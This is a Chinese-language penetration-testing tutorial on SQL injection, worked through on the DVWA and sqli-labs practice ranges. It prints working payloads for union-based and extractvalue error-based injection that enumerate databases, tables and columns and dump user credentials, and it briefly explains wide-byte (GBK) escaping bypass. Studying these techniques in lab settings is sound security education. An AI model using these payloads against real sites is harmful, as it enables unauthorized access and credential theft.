前言:
我们接着上一篇文章讲,没有基础的同学请看我上一篇文章:渗透测试(第三章SQL注入基础)我打算通过实战讲解具体操作,不然讲的很抽象。我们使用DVWA靶场和sqli-labs靶场进行学习。
正文:
联合查询:
联合查询注入实际上就是利用SOL语句中的 union select 来对数据进行查询。
我们首先打开靶场DVWA,将安全等级设为:Low,找到SQL injection 如下图:
- 判断是否存在注入:
我们输入 1',发现提示SQL语法有问题,而输入1'',时,并不报错,这说明,我们输入的内容被放进SQL语句中并成功执行。此时,说明该输入框存在SQL注入。
sql
#报错
1'
sql
#不报错
1''
-
判断类型:
若引号报错,引号#不报错,则为字符型注入。
若引号报错、引号#也报错,则为数字型注入。
注意:如果#是在URL 中直接输入的,则需要写成URL 编码格式,如%23,这是因为#在浏览器的URL 中是具有特殊含义的,表示浏览器中的fragment 标志位。fragment标志位用来标记当前浏览网页的用户所处的页面位置,该字段不会发送到目标服务器(包据#),只在本地生效。所以,如果直接在 URL 中使用#,会导致该字符无法发送到目标服务器,从而导致注入失败。
-
查列数:
order by语句会对查询语句的某一列进行排序,当碰到不存在的列(要排序的列大于最大查询列数)的时候就会报错,所以我们可以利用此特性写出如下代码:
sql
1' order by 2 #
1' order by 3 #
1后面的单引号是为了闭合前面的值,最后面 # 是为了注释掉后面的字符,防止SQL语句出错。
由以上代码我们得出:查询列数为2,这个如果不理解的话,我们可以查看一下源代码,我们看到源代码时会发现一句SQL语句:
sql
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
它会把我们输入的值存在变量id中,通过拼接SQL语句,在数据库执行的代码就会变成:
sql
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2 #';";
我们单独把SQL拿出来分析,两边双引号去掉,就得到
sql
SELECT first_name, last_name
FROM users
WHERE user_id = '1'
order by 2
#';
看到这里,我们就很容易看出加单引号和井号的意图。
- 查数据库名
我们先输入
sql
' union select 1,2 #
可以看到,1,2都在返回信息里回显,这说明第1列和第2列都可以在后续的注入攻击中用于回显注入的数据,那么下一步就是尝试从数据库中获得更多的信息。
MySQL 中自带一个叫作information_schema的数据库,里面存储了所有数据库名、表名以及列名,可以通过以下语句进行查询。
查询所有数据库名:
sql
select schema_name from information_schema.schemata
--输入框输入为:
' union select 1,schema_name from information_schema.schemata #
我这边显示那么多的原因是因为我电脑里有多个数据库,它查找是查你所有的数据库,所以我的回显很多。正常会回显dvwa那一行,我们知道,数据库名字为dvwa。
- 查询当前数据库的所有表名:
sql
select table_name from information_schema.tables where table_schema=database()
--输入框输入为:
' union select 1,table_name from information_schema.tables where table_schema=database()#
--或者写:
' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
- 查询指定表的所有列名:
sql
Select column_name from information_schema.columns where table_name='指定表名'
--输入框输入为:
' union select 1,column_name from information_schema.columns where table_name='users' and table_schema='dvwa'#
- 查询数据:
sql
select 列名 from 表名
--输入框输入为:
' union select user,password from users #
使用MD5解密解密一下得到:
sql
密文:5f4dcc3b5aa765d61d8327deb882cf99
明文:password
报错注入:
介绍报错注入之前,先介绍几个常见函数。
函数 | 功能 | 语法 |
---|---|---|
concat | 将多个字符串连接成一个字符串 | concat(str1,str2) |
concat_ws | 和concat()函数一样,将多个字符串连成一个字符串,但是可以一次性指定分隔符 | concat_ws(separator,str1,str2,...) |
group_concat | 将group by 产生的同一个分组中的值连接起来,返回一个字符串结果 | group_concat([distinct]要连接的字段[order by 排序字段 asc/desc]) |
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的,本质上也是一类带回显的注入,但是与一般的回显注入不同,报错注入是通过报错信息的"外带"出数据库中的数据。
利用场景:
在遇到报错有回显,数据没有回显的时候使用。
MySQL 中常用的报错注入函数有 extractvalue()、updatexm()等,这类函数本来是用于处理XML文件的,虽然每个函数的参数个数以及具体用途各不相同,但是这些函数都有一个共同特征,即存在一个路径参数。路径参数用于指定 XML 文件的具体路径,如果此时在其中写入的是注入语句,那么MySQL 会首先执行注入语句,并将执行结果作为XML 的路径进行查找。该结果并不是一个合法的XML 路径,因此会报错。报错信息以'XPATH error' 开头,故这一类注人也称为 XPATH 注入。
通常需要再语句中增加一些特殊符号,确保可以完整回显数据。例如:
sql
updatexml(1,concat(0x7e,注入语句,0x7e),1)
extractvalue(1,concat(0x7e,注入语句,0x7e))
0x7e为 ~ 的十六制编码,作用是保证能够完整回显注入语句的具体结果,以及对回显结果进行标记。
在遇到有报错回显的时候,但是没有数据回显的情况下可以利用。报错注入的函数:
函数 | 说明 |
---|---|
floor() | 向下取整 |
extractvalue() | 对XML文档进行查询的函数,当参数的格式不正确而产生的错误,会返回参数的信息 |
updatexml() | 更新xml文档的函数,原理跟extracvalue一样 |
exp() | 以e为底的指数函数 |
报错注入实战:
下面我们开始使用例子详解,首先我们需要搭建sqli-labs靶场,靶场搭建我就不介绍了,和DVWA搭建一样,sqli-labs靶场资源我放在文章顶部。大家可以下载安装一下。
我们找到Less-5,打开如下图:
- 查数据库名
sql
http://localhost/sqli-labs/sqli-labs-master/Less-5/?id=-1'and extractvalue(1,concat(0x7e,database(),0x7e))%23
- 利用数据库爆表名:
sql
http://localhost/sqli-labs/sqli-labs-master/Less-5/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))%23
我们可以对payload进行分析一下
sql
and extractvalue
(1,concat
(0x7e,
(
select group_concat(table_name)
from information_schema.tables
where table_schema=database()
)
,0x7e)
)
查找表名(table_name),从数据库中所有表的信息(information_schema.tables ),条件是数据库名称等于当前使用的数据库名(table_schema=database()),得到的结果使用group_concat连成一个字符串,得到字符串后,使用~,前后拼接,使其不满足XPATH格式,从而报错返回出来。
看到这里,可以思考一下,在这个基础上,怎么修改可以得到列名。(提示:结合联合查询)
- 查询列名:
payload为:
sql
http://localhost/sqli-labs/sqli-labs-master/Less-5/?id=-1%27and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=database()),0x7e))%23
sql
and extractvalue
(1,concat
(0x7e,
(
select group_concat(column_name)
from information_schema.columns
where table_name='users' and table_schema=database()
)
,0x7e)
)
同样的,将payload拆开,可以看的更加清楚。这里我就不解释了,结合上次解释理解一下。其实和联合查询注入差不多。
- 查询数据:
sql
http://localhost/sqli-labs/sqli-labs-master/Less-5/?id=-1'and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e))%23
查完之后,我们有没有发现一个问题,ID为3的那一栏感觉后面还有东西没显示完全。实际上,我们xpath只会报错32字符,所以感觉还有东西没有显示完全。这个时候,我们可以在where条件里面限制值不是这几个(and not in)
具体如下:
sql
http://localhost/sqli-labs/sqli-labs-master/Less-5/?id=-1'and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users where id not in(1,2)),0x7e))%23
sql
http://localhost/sqli-labs/sqli-labs-master/Less-5/?id=-1'and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users where id not in(1,2,3,4)),0x7e))%23
宽字节注入:
原因:
- 现在大多数的网站对于SQL注入都做了一定的方法,例如使用一些MySQL中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种是配置magic_quote_gpc,不过PHP高版本已经移除此功能。其实这些函数就是为了过滤用户输入的一些数据,对特殊的字符加上反斜杠"\"进行转义。
- 网站开启了magic_quote_gpc,或者使用了上面的转义函数,数据库设置成gbk编码(不是html编码)
- 在编码中,gbk编码占用2个字符,ascll占用1个字符,攻击者恶意构造,把ascll字符吃掉,就能进行下一步攻击。
利用汉字的一半编码与/组合过滤。
我这边也没有具体靶场,总的来说就是为了绕过滤,不理解没关系,主要学习前两个。好了,今天就到这里,我们下一期讲sqlmap。大家喜欢的可以点点关注。